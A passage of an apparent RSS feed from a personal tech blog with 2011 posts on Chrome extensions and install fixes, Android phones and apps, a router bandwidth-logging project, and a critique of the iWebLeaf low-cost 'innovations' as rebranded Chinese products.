&lt;p&gt;&lt;strong&gt;The interesting thing however is the 3 dots on the left side&lt;/strong&gt;. People claim that it could be related to camera or volume controls or even speaker grills. But I think that they are for dock connection. Anyone who has owned a Nexus One has seen the same 3 gold dots on the bottom used for dock connection. I believe that on Nexus Prime they have been moved to the side mainly because Prime has (or is supposed to have) a 16:9 screen and hence the optimal placement in a dock would be horizontal and hence the sideways placement.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let me know what you think :)&lt;/p&gt;</content></item><item><title>Adding Lyrics to SharkZapper for Grooveshark</title><link>https://shantanugoel.com/2011/09/23/adding-lyrics-to-sharkzapper-for-grooveshark/</link><pubDate>Fri, 23 Sep 2011 09:12:06 +0000</pubDate><guid>https://shantanugoel.com/2011/09/23/adding-lyrics-to-sharkzapper-for-grooveshark/</guid><description>&lt;p&gt;I bet all of you know about grooveshark, the awesome music service. And sharkzapper is a cool chrome extension that puts the control and information about anything playing in your grooveshark chrome tab into a little button on the address bar. It is a very good extension but I felt that what it was missing was lyrics. Before I could comment on the extension&amp;rsquo;s chrome market page, I noticed that it has a github repository. &amp;ldquo;Open Source&amp;rdquo;, oh joy. So, I forked the repository and after some hacking around, I&amp;rsquo;ve now added support for automatic searching and fetching of the currently playing song into the sharkzapper popup window and it updates itself whenever the song changes.&lt;/p&gt;</description><content>&lt;p&gt;I bet all of you know about grooveshark, the awesome music service. And sharkzapper is a cool chrome extension that puts the control and information about anything playing in your grooveshark chrome tab into a little button on the address bar. It is a very good extension but I felt that what it was missing was lyrics. Before I could comment on the extension&amp;rsquo;s chrome market page, I noticed that it has a github repository. &amp;ldquo;Open Source&amp;rdquo;, oh joy. So, I forked the repository and after some hacking around, I&amp;rsquo;ve now added support for automatic searching and fetching of the currently playing song into the sharkzapper popup window and it updates itself whenever the song changes.&lt;/p&gt;
&lt;p&gt;What was even cooler that I learnt a bit about using YQL in the process :)&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve sent in a pull request to the author of the extension to the original author of the extension to merge this code. In the meanwhile, if you would like to try this out, you can hit up my &lt;strong&gt;&lt;a href="https://github.com/shantanugoel/sharkzapper"&gt;github repository&lt;/a&gt;&lt;/strong&gt;, download the code and install into chrome by enabling developer mode and choosing &amp;ldquo;Load unpacked extension&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Happy listening :)&lt;/p&gt;</content></item><item><title>Chrome Script/Extension installation error: Could not read source file</title><link>https://shantanugoel.com/2011/09/19/chrome-scriptextension-installation-error-could-not-read-source-file/</link><pubDate>Mon, 19 Sep 2011 16:58:00 +0000</pubDate><guid>https://shantanugoel.com/2011/09/19/chrome-scriptextension-installation-error-could-not-read-source-file/</guid><description>&lt;p&gt;This is a solution to the issue that I faced today while installing a javascript file from userscripts.org as an extension into google chrome (Yes, Chrome supports installing greasemonkey javascripts as extensions). I had already installed this script once into my browser earlier but when I tried installing it again today, it started giving me a weird error &amp;ldquo;Could not read source file&amp;rdquo;. I tried all possible means, like putting it on a different server, installing from local disk, changing versions, deleting all cache, etc but still the issue persisted.&lt;/p&gt;</description><content>&lt;p&gt;This is a solution to the issue that I faced today while installing a javascript file from userscripts.org as an extension into google chrome (Yes, Chrome supports installing greasemonkey javascripts as extensions). I had already installed this script once into my browser earlier but when I tried installing it again today, it started giving me a weird error &amp;ldquo;Could not read source file&amp;rdquo;. I tried all possible means, like putting it on a different server, installing from local disk, changing versions, deleting all cache, etc but still the issue persisted.&lt;/p&gt;
&lt;p&gt;Finally looking into the source code of the chromium browser svn repository, I got a clue. What google chrome does when you install a script as installation is that it first downloads the script, then it calls a function ConvertUserScriptToExtension to convert the script into a google chrome compatible script and then installs it. Now, since I had already installed this script once, I found that the script was already existing in my downloads directory, so while downloading chrome renames it to &lt;code&gt;&amp;lt;file&amp;gt;(1).js&lt;/code&gt; (i.e., appends a number to it to distinguish from the original file). But it seems like that the path sent to the conversion function still uses the original name/path and it somehow finds that the older file is not the downloaded one but also doesn&amp;rsquo;t know which is the current downloaded one and hence fails with an error &amp;ldquo;Could not read source file&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Solution: Pretty simple. Just delete the original file present in your download directory and then try installing the script and it will install fine :)&lt;/p&gt;</content></item><item><title>Swype 3.25 Beta Pre-release Parse Error Solution</title><link>https://shantanugoel.com/2011/08/23/swype-3-25-beta-pre-release-parse-error-solution/</link><pubDate>Tue, 23 Aug 2011 18:07:44 +0000</pubDate><guid>https://shantanugoel.com/2011/08/23/swype-3-25-beta-pre-release-parse-error-solution/</guid><description>&lt;p&gt;Swype just released their latest beta version 3.25 for Android phones but most of the folks are facing a &amp;ldquo;parse error&amp;rdquo; while trying to update to the latest version. If you are one of such folks, there is a simple solution that I just tried and got working. Instead of updating from the swype installer, you need to update manually. Uninstall your existing swype, then uninstall the existing swype installer on your phone. Then head over to &lt;a href="http://beta.swype.com/android/get"&gt;http://beta.swype.com/android/get&lt;/a&gt; (from your android phone) and download and install the new swype installer again. Then open the new swype installer and use it to update to the latest version. Done :). And I must say the new version is pretty spiffy :)&lt;/p&gt;</description><content>&lt;p&gt;Swype just released their latest beta version 3.25 for Android phones but most of the folks are facing a &amp;ldquo;parse error&amp;rdquo; while trying to update to the latest version. If you are one of such folks, there is a simple solution that I just tried and got working. Instead of updating from the swype installer, you need to update manually. Uninstall your existing swype, then uninstall the existing swype installer on your phone. Then head over to &lt;a href="http://beta.swype.com/android/get"&gt;http://beta.swype.com/android/get&lt;/a&gt; (from your android phone) and download and install the new swype installer again. Then open the new swype installer and use it to update to the latest version. Done :). And I must say the new version is pretty spiffy :)&lt;/p&gt;</content></item><item><title>Remote Bandwidth Stats</title><link>https://shantanugoel.com/2011/08/21/remote-bandwidth-stats/</link><pubDate>Sun, 21 Aug 2011 17:44:24 +0000</pubDate><guid>https://shantanugoel.com/2011/08/21/remote-bandwidth-stats/</guid><description>&lt;p&gt;This post is about my open source remote bandwidth usage stats logger project.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve been wanting to log the internet bandwidth usage at my home for quite some time since I don&amp;rsquo;t really find the stats put out by my ISP to be completely accurate. But I have multiple devices at home that access the internet so it is not feasible to install a bandwidth monitor individually on all these devices as I&amp;rsquo;d still need to add up all logs and many of such devices don&amp;rsquo;t even have a way to install a monitoring software installed (e.g. my PS3, my TV, my media players, etc). So, I thought of monitoring the usage at my router. It is a smart one (Asus wl-500w) and I can install various linux software on it but then it requires a hard disk to run most of them which I don&amp;rsquo;t turn on all the time. Moreover, even if I could run the software directly from router flash, it doesn&amp;rsquo;t have enough space to store the logs (neither is it a good idea to keep writing to the flash often).&lt;/p&gt;</description><content>&lt;p&gt;This post is about my open source remote bandwidth usage stats logger project.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve been wanting to log the internet bandwidth usage at my home for quite some time since I don&amp;rsquo;t really find the stats put out by my ISP to be completely accurate. But I have multiple devices at home that access the internet so it is not feasible to install a bandwidth monitor individually on all these devices as I&amp;rsquo;d still need to add up all logs and many of such devices don&amp;rsquo;t even have a way to install a monitoring software installed (e.g. my PS3, my TV, my media players, etc). So, I thought of monitoring the usage at my router. It is a smart one (Asus wl-500w) and I can install various linux software on it but then it requires a hard disk to run most of them which I don&amp;rsquo;t turn on all the time. Moreover, even if I could run the software directly from router flash, it doesn&amp;rsquo;t have enough space to store the logs (neither is it a good idea to keep writing to the flash often).&lt;/p&gt;
&lt;p&gt;Hence I came up with the idea of a light weight remote bandwidth usage logger where in the router has to do the bare minimum possible (here, it just has to make a GET call to a webpage with current status of received and transmitted bytes, accomplished by a single line of wget command). The system is completely open source and is intelligent enough to keep track of things even if router reboots or the bytes count wraps around the 4 GB limit (because of 32 bit data structures used). The logging and parsing is all done on server side and provides various useful things.&lt;/p&gt;
&lt;p&gt;Few of the features of the system:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Very lightweight in CPU/RAM resource usage on host as well as server&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Outputs easy to browse html and graphs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;User defined directory structure to decide the granularity that is wanted&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;yearly, monthly, daily stats and graphs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Provides quick access to extra stats like last time the host connected, last known host IP etc&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Provides total download/upload numbers as well as detailed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Estimates uptime of remote host&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Can use a DNS name or IP to avoid (or call out) spurious amounts of usage logged by a spurious IP&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The code and all files can be found at github: &lt;strong&gt;&lt;a href="http://github.com/shantanugoel/remote-bandwidth-stats"&gt;Remote-Bandwidth-Stats&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The screenshots of the web pages generated by the system can be seen below. Please let me know if you find any issues with the programs or would like to request any new features.&lt;/p&gt;
&lt;p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/remote-bandwidth-stats-year-thumb.png" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/remote-bandwidth-stats-month-thumb.png" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/remote-bandwidth-stats-day-thumb.png" /&gt;
&lt;/figure&gt;
&lt;/p&gt;</content></item><item><title>Featured in Chip India August 2011 Edition</title><link>https://shantanugoel.com/2011/08/01/featured-in-chip-india-august-2011-edition/</link><pubDate>Mon, 01 Aug 2011 03:24:23 +0000</pubDate><guid>https://shantanugoel.com/2011/08/01/featured-in-chip-india-august-2011-edition/</guid><description>&lt;p&gt;My project &lt;a href="http://tech.shantanugoel.com/2011/03/20/making-kinect-work-with-ps3.html"&gt;Kinect on PS3&lt;/a&gt; got featured in this month&amp;rsquo;s Chip magazine :). They have a special gaming edition of Chip Insider which featured the project along with a 2 page interview of mine. If you buy chip, do look out for it on pages 46 and 47. I also have a scanned image of the pages below.&lt;/p&gt;
&lt;p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/chip-india-interview-august-2011-1-thumb.jpg" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/chip-india-interview-august-2011-2-thumb.jpg" /&gt;
&lt;/figure&gt;
&lt;/p&gt;</description><content>&lt;p&gt;My project &lt;a href="http://tech.shantanugoel.com/2011/03/20/making-kinect-work-with-ps3.html"&gt;Kinect on PS3&lt;/a&gt; got featured in this month&amp;rsquo;s Chip magazine :). They have a special gaming edition of Chip Insider which featured the project along with a 2 page interview of mine. If you buy chip, do look out for it on pages 46 and 47. I also have a scanned image of the pages below.&lt;/p&gt;
&lt;p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/chip-india-interview-august-2011-1-thumb.jpg" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/chip-india-interview-august-2011-2-thumb.jpg" /&gt;
&lt;/figure&gt;
&lt;/p&gt;</content></item><item><title>Huawei Ideos U8150 Review</title><link>https://shantanugoel.com/2011/06/05/huawei-ideos-u8150-review/</link><pubDate>Sun, 05 Jun 2011 15:52:19 +0000</pubDate><guid>https://shantanugoel.com/2011/06/05/huawei-ideos-u8150-review/</guid><description>&lt;p&gt;Recently I received Huawei Ideos U8150 phone for review. This is an Android smartphone meant for the entry level market. I had the phone for a few weeks to put it through its paces and here are some of my thoughts about it. I am not going to expand a lot on the general Android points as we all know about it but will concentrate succinctly and to-the-point on the aspects which can make it or break it for this phone against its competition in the similar price ranges.&lt;/p&gt;</description><content>&lt;p&gt;Recently I received Huawei Ideos U8150 phone for review. This is an Android smartphone meant for the entry level market. I had the phone for a few weeks to put it through its paces and here are some of my thoughts about it. I am not going to expand a lot on the general Android points as we all know about it but will concentrate succinctly and to-the-point on the aspects which can make it or break it for this phone against its competition in the similar price ranges.&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/huawei-ideos.gif" /&gt;
&lt;/figure&gt;
&lt;p&gt;**Display: ** The display is average and pretty much on par with the other handsets in this range. It&amp;rsquo;s a low resolution QVGA (320x240) screen. While it&amp;rsquo;s usable but not a brilliant one and would give a sublime web browsing experience. The brightness of the display was average as well, nothing to write home about but not below the competition either.&lt;/p&gt;
&lt;p&gt;**Touchscreen: ** A good thing about this handset is that it has a capacitive touchscreen. A few entry level phones skimp out on this and put a resistive touchscreen but not so with Ideos. The screen response is pretty good.&lt;/p&gt;
&lt;p&gt;**Android Version: ** Ideos sports Android 2.2 Froyo which is again a good thing since this is the latest I have seen in any entry/mid-level and most high end phones as well. Gingerbread is still too new and I&amp;rsquo;m happy enough with Froyo. A lot of other phones are still stuck on Eclair 2.1.&lt;/p&gt;
&lt;p&gt;**Camera: ** The camera is ok&amp;rsquo;ish with its 3.2 MP sensor and no LED flash. It works well for well lit subjects but is useless in dark. The quality of photos taken is average as well. Nothing extremely bad but nothing very good as well, just good enough for capturing spontaneous moments when you are not carrying your proper standalone camera with you.&lt;/p&gt;
&lt;p&gt;**Connectivity: ** Ideos has 802.11n wi-fi and 7.2mbps HSDPA 3G for connectivity. wi-fi connected to my router in a snap and it also has hotspot (or wireless tethering) capability for upto 8 devices. 3G connectivity was ok. Speedtest results came out to be similar to my Nexus one over both wi-fi as well as 3G.&lt;/p&gt;
&lt;p&gt;**Built: ** Ideos is built sturdily but looks a bit tacky with its shiny back. But then again, it&amp;rsquo;s hard to find a good looking phone in entry level smartphones which performs according to it&amp;rsquo;s looks as well. I didn&amp;rsquo;t try any drop tests on it but I&amp;rsquo;d fathom it&amp;rsquo;d easily survive any short falls. The phone is also pretty light and small, easy to pocket.&lt;/p&gt;
&lt;p&gt;**Performance: ** Ideos has a Qualcomm MSM7227 processor, rated at a clock speed of 528 MHz. This processor is fairly standard in almost all the entry level devices and is good enough for daily usage and most of the apps. But most games would struggle on it. If you are buying this (or any other entry level smartphone) with the correct expectations of it performing according to it&amp;rsquo;s price range, you shouldn&amp;rsquo;t be disappointed.&lt;/p&gt;
&lt;p&gt;**Web Browsing: ** Web browsing is mediocre on Ideos because of it&amp;rsquo;s low resolution screen, low specc&amp;rsquo;ed processor (which also results in lack of Adobe Flash). If you plan on using the browser for your web needs, don&amp;rsquo;t bet on opening any javascript heavy pages quickly and should look mostly to fill the void by using specific apps for the services you are trying to access.&lt;/p&gt;
&lt;p&gt;**Battery: ** The phone is good on the battery and it was able to last around 1.5-2 days on a single charge for medium usage even though it houses just a 1200 mAh. This is on-par, if not better, than most other phones in this range.&lt;/p&gt;
&lt;p&gt;**GPS: ** The GPS was quick to get a fix and retained it to a good accuracy almost same as my Nexus one. Using Google maps on this phone was a breeze.&lt;/p&gt;
&lt;p&gt;**Other Notes: ** The phone bundles a free 2GB microSD card and also stereo headphones. The headphones are average at best like most other phones and you should really pair it with a cheap set of Creative IEMs that will give you a much better output while staying on a budget.&lt;/p&gt;
&lt;p&gt;**Conclusion: ** While the phone is not a powerhouse in itself, I&amp;rsquo;d rate it pretty good in it&amp;rsquo;s price segment. If I had to buy an Android smartphone on a budget around 8000 INR, it&amp;rsquo;d be a toss up between this and the Samsung Galaxy Pop S5570. So, this is a +1 recommendation from me for this phone.&lt;/p&gt;</content></item><item><title>Google Music Beta Latest APK version 3.0.1 for Android</title><link>https://shantanugoel.com/2011/05/27/google-music-latest-apk-android-3-0-1/</link><pubDate>Fri, 27 May 2011 03:57:10 +0000</pubDate><guid>https://shantanugoel.com/2011/05/27/google-music-latest-apk-android-3-0-1/</guid><description>&lt;p&gt;Google just released the latest version of its Music app  that ties into its cloud player service Music Beta. This brings the version upto 3.0.1 and adds a lot of fixes, crashes a lot less and now even works on Samsung Galaxy S with Gingerbread which was broken earlier. If you are outside the US and not able to download the app from the market, then download it from here:&lt;a href="http://www.multiupload.com/KIM5LQDL0K"&gt;http://www.multiupload.com/KIM5LQDL0K&lt;/a&gt;&lt;/p&gt;</description><content>&lt;p&gt;Google just released the latest version of its Music app  that ties into its cloud player service Music Beta. This brings the version upto 3.0.1 and adds a lot of fixes, crashes a lot less and now even works on Samsung Galaxy S with Gingerbread which was broken earlier. If you are outside the US and not able to download the app from the market, then download it from here:&lt;a href="http://www.multiupload.com/KIM5LQDL0K"&gt;http://www.multiupload.com/KIM5LQDL0K&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I just tried it on my Nexus One with Stock Gingerbread (2.3.4) and it works awesome. Picked up my music from the Google account immediately and even recognizes the third party equalizers like MusicFx&amp;hellip;&lt;/p&gt;
&lt;p&gt;Don&amp;rsquo;t forget to say Thanks ;)&lt;/p&gt;</content></item><item><title>Use Encrypted Google Search As Default in Chrome</title><link>https://shantanugoel.com/2011/05/12/use-encrypted-google-search-as-default-in-chrome/</link><pubDate>Thu, 12 May 2011 04:26:21 +0000</pubDate><guid>https://shantanugoel.com/2011/05/12/use-encrypted-google-search-as-default-in-chrome/</guid><description>&lt;p&gt;Google just launched an &lt;a href="https://encrypted.google.com/"&gt;encrypted search portal&lt;/a&gt; which is a Godsend for people on public networks since there is a lot that can be gleaned from your search queries. For doing your protected searches, however, you have to go to a different portal which I linked to above. Now, the omnibar (the address bar in Google Chrome) also serves as a search box but searches on the normal google portal by default. Here is a simple, few seconds process to switch it over to encrypted search.&lt;/p&gt;</description><content>&lt;p&gt;Google just launched an &lt;a href="https://encrypted.google.com/"&gt;encrypted search portal&lt;/a&gt; which is a Godsend for people on public networks since there is a lot that can be gleaned from your search queries. For doing your protected searches, however, you have to go to a different portal which I linked to above. Now, the omnibar (the address bar in Google Chrome) also serves as a search box but searches on the normal google portal by default. Here is a simple, few seconds process to switch it over to encrypted search.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Click on the wrench/tool icon at the top of Google Chrome and go to Options.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On the &amp;ldquo;Basics&amp;rdquo; tab, go to the &amp;ldquo;Search&amp;rdquo; item and click on &amp;ldquo;Manage Search Engines&amp;rdquo;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to the very bottom of the new page that opens and you will see three empty boxes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For the first box (leftmost), give any nickname for the engine. I gave &amp;ldquo;EncryptedGoogle&amp;rdquo;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For second box, give a keyword that invokes the new search engine. I gave &amp;ldquo;encrypted.google.com&amp;rdquo;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For last box, give the url for the search engine. This should be&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;https://encrypted.google.com/search?{google:RLZ}{google:acceptedSuggestion}{google:originalQueryForSuggestion}sourceid=chrome&amp;amp;ie={inputEncoding}&amp;amp;q=%s&lt;/code&gt;&lt;/p&gt;
&lt;ol start="7"&gt;
&lt;li&gt;Press Enter and the engine will be added to the list. Then hover over the engine row and click on &amp;ldquo;Make as default&amp;rdquo;. And you are done.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Happy safe searching :)&lt;/p&gt;</content></item><item><title>iWebLeaf - India's $35 Android Tablet Spawning Fake Innovators?</title><link>https://shantanugoel.com/2011/04/06/iwebleaf-indias-35-android-tablet-spawning-fake-innovators/</link><pubDate>Wed, 06 Apr 2011 18:04:44 +0000</pubDate><guid>https://shantanugoel.com/2011/04/06/iwebleaf-indias-35-android-tablet-spawning-fake-innovators/</guid><description>&lt;p&gt;It was just about an year ago that we heard about the $35 Android Tablet from India which would revolutionize the education in developing countries. Mr. Kapil Sibal promoted it with utmost fervor until it was found that the BoM itself of the tablet was more than $50 and none of the guys claimed to have &amp;ldquo;invented&amp;rdquo; it even knew about its existence until a few days before the announcement. Ultimately, it was &lt;a href="http://androidos.in/2010/09/the-truth-about-35-android-tablet-from-indian-government/"&gt;discovered&lt;/a&gt; that the tablet was just a rebranded chinese import which the government wanted to bring down to $35 price point by subsidizing the cost and not by somehow inventing cheaper parts. What more proof can we get about it&amp;rsquo;s non existence that it hasn&amp;rsquo;t materialized after so much of time and even the company that was supposed to be making it according to the government (HCL) has said that it has nothing to do with it.&lt;/p&gt;</description><content>&lt;p&gt;It was just about an year ago that we heard about the $35 Android Tablet from India which would revolutionize the education in developing countries. Mr. Kapil Sibal promoted it with utmost fervor until it was found that the BoM itself of the tablet was more than $50 and none of the guys claimed to have &amp;ldquo;invented&amp;rdquo; it even knew about its existence until a few days before the announcement. Ultimately, it was &lt;a href="http://androidos.in/2010/09/the-truth-about-35-android-tablet-from-indian-government/"&gt;discovered&lt;/a&gt; that the tablet was just a rebranded chinese import which the government wanted to bring down to $35 price point by subsidizing the cost and not by somehow inventing cheaper parts. What more proof can we get about it&amp;rsquo;s non existence that it hasn&amp;rsquo;t materialized after so much of time and even the company that was supposed to be making it according to the government (HCL) has said that it has nothing to do with it.&lt;/p&gt;
&lt;p&gt;That was that but it seems like the episode has given a brilliant idea to a few others as well. Import cheap/sub-standard products from China, rebrand them, ask government for subsidy and claim to have &amp;ldquo;invented&amp;rdquo; a revolutionary low cost computing device. &lt;strong&gt;iWebLeaf&lt;/strong&gt; is a case in point. I came across them through a couple of articles where this little company formed by a couple of engineering students has invented two ultra low cost products: A &lt;a href="http://telecomtalk.info/iwebleaf-comes-with-cheapest-3g-data-card-at-rs1300/50814/"&gt;3G data card for 1300 INR&lt;/a&gt; (~ $30) and a &lt;a href="http://telecomtalk.info/iwebleaf-refused-funding-to-launch-low-cost-laptop-data-card/60941/"&gt;Laptop for 5000 INR&lt;/a&gt; (~ $110). I was pleasantly surprised and my initial reaction was to applaud the effort. Then I noticed that these products, although announced for quite some time and having gotten a LOT of mainstream media coverage on almost every news channel, have not come to the market yet. The reasons for the 3G card are unknown but the laptop was said to have been dropped because of lack of Government support (read &amp;ldquo;subsidy&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer: Before you read any further, please note that I&amp;rsquo;m an Indian myself and stay in India only (i.e., not a condescending NRI). I am a developer myself and love innovating and innovators and have the greatest respect for all that our country has given to the world. This piece is a rant against only those few individuals who make the rest of the India look bad by claiming authority over fake innovations.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Being a part of the semiconductor industry for quite some time, I was curious to find out how they achieved this feat which no one else including big name companies have been able to do even after years of research (XO-PC). I looked at the purported specs of the laptop and it struck me that yet again, the BoM itself was much more than 5000 INR. When I raised some questions about this, the &amp;ldquo;innovators&amp;rdquo; replied that they are saving all this money because they &amp;ldquo;developed their own processor DXA16&amp;rdquo; which is equivalent to a 1.6GHz Intel Atom. What again raised even more doubts in mind was that they said their processor didn&amp;rsquo;t have anything to do with Intel and they didn&amp;rsquo;t even have to take an X86 license even though they claim windows support for the laptop, which means that their processor MUST be x86 compatible. Secondly, they mentioned that they have got jobs in TCS and CTS and won&amp;rsquo;t continue further. I&amp;rsquo;m completely flummoxed why an under-graduate student who has designed his own commercially viable micro processor in a college lab during a period when other students struggle to just write 10 line assembly programs, would go and join a mass-recruiting services company. If I was him, any company from Intel to TI to Qualcomm to ARM would be ready to hire me for any salary that I demanded. On top of this, they gave weird reasons to drop it that they want to do it only for Orissa and no other state, etc.&lt;/p&gt;
&lt;p&gt;It was also mind-blowing that they made such great inventions but &lt;a href="http://www.iwebleaf.com/"&gt;their own website&lt;/a&gt; doesn&amp;rsquo;t have even a single word about these. All they have there is the run of the mill Web-Hosting, SEO, site design, blah blah.&lt;/p&gt;
&lt;p&gt;Anyways, another person on the same forum where I raised the doubts uncovered an ugly truth. Their data card is nothing but a rebranded chinese card. See this link: &lt;a href="http://www.dealextreme.com/p/7-2mbps-hsdpa-3g-usb-2-0-wireless-modem-adapter-with-tf-card-slot-white-50297"&gt;Cheap 3G Data Card&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Points to note:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;This card has the exact same specs including speeds, features (e.g. same RAM, ROM amounts, sd card etc)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It costs around $35 for a single piece including shipping. So, for bulk purchase, you can easily get it much cheaper and sell it around the $30 price.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It looks exactly the same  with just an iWebLeaf logo slapped over the version sold by these innovators.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Pics:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;iWebLeaf Data Card:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://tech.shantanugoel.com/uploads/iwebleaf-data-card-1.jpg"&gt;&lt;img src="http://tech.shantanugoel.com/uploads/iwebleaf-data-card-1-thumb.jpg" alt=""&gt;&lt;/a&gt; &lt;img src="http://tech.shantanugoel.com/uploads/iwebleaf-data-card-2.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chinese Data Card:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://tech.shantanugoel.com/uploads/chinese-data-card-1.jpg"&gt;&lt;img src="http://tech.shantanugoel.com/uploads/chinese-data-card-1-thumb.jpg" alt=""&gt;&lt;/a&gt; &lt;a href="http://tech.shantanugoel.com/uploads/chinese-data-card-2.jpg"&gt;&lt;img src="http://tech.shantanugoel.com/uploads/chinese-data-card-2-thumb.jpg" alt=""&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;**Note: **You can also see this video of &lt;a href="http://www.youtube.com/watch?v=wnEhrn1GwiM"&gt;iWebLeaf Data Card&lt;/a&gt; and compare it against the rest of the pics on &lt;a href="http://www.dealextreme.com/p/7-2mbps-hsdpa-3g-usb-2-0-wireless-modem-adapter-with-tf-card-slot-white-50297"&gt;Deal Extreme site for the chinese card&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Laptop:&lt;/strong&gt; I was even more skeptical about their laptop now. And I was flabbergasted with surprise when I found out that all it took me was around 2 minutes of search for &amp;ldquo;cheap chinese laptop&amp;rdquo; on china trader sites like alibaba/traderkey etc and I stumbled onto a company called Enzo-Tech. If I could do this in 2 minutes, couldn&amp;rsquo;t the rest of the mainstream media folks do a little bit of fact check with their vast resources? They &lt;a href="http://www.alibaba.com/product-gs/371893567/cheap_10_2_inch_mini_laptop.html"&gt;produce&lt;/a&gt; a &lt;a href="http://enzo-tech.com/Product.aspx?id=28"&gt;10&amp;quot; Mini Laptop&lt;/a&gt; which, just like the data card:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Has the exact same specs as the iWebLeaf laptop (except that they list Atom as the processor instead of DXA16, which is a farce anyways)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Looks exactly the same with just iWebLeaf stickers pasted all over. (Pics below)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The only concern here is that even this laptop is not available for the low price that iWebLeaf mentioned. This laptop sells for around $200 in small quantities. If bought for very large quantities (e.g. in thousands or 10s of thousands by a government), the price would come down radically and with a little bit more of subsidy, it can achieve the price that iWebLeaf mentioned. But it would still be &amp;ldquo;cost price&amp;rdquo;. Sale price to end users will have to be much higher due to customs, logistics, handling, shipping, etc even if they were to sell it on a no-profit basis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;iWebLeaf Laptop:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://tech.shantanugoel.com/uploads/iwebleaf-laptop-1.jpg"&gt;&lt;img src="http://tech.shantanugoel.com/uploads/iwebleaf-laptop-1-thumb.jpg" alt=""&gt;&lt;/a&gt; &lt;img src="http://tech.shantanugoel.com/uploads/iwebleaf-laptop-2.png" alt=""&gt; &lt;img src="http://tech.shantanugoel.com/uploads/iwebleaf-laptop-3.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Enzo-Tech Laptop:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://tech.shantanugoel.com/uploads/enzo-tech-laptop-1.jpg"&gt;&lt;img src="http://tech.shantanugoel.com/uploads/enzo-tech-laptop-1-thumb.jpg" alt=""&gt;&lt;/a&gt; &lt;a href="http://tech.shantanugoel.com/uploads/enzo-tech-laptop-2.jpg"&gt;&lt;img src="http://tech.shantanugoel.com/uploads/enzo-tech-laptop-2-thumb.jpg" alt=""&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;**Note: **You can also see this&lt;a href="http://www.youtube.com/watch?v=8gj6pwQKIZc"&gt; video of iWebLeaf Laptop&lt;/a&gt; and compare it against the pics/specs on &lt;a href="http://enzo-tech.com/Product.aspx?id=28"&gt;Enzo-Tech&amp;rsquo;s website&lt;/a&gt; and see that it is the same.&lt;/p&gt;
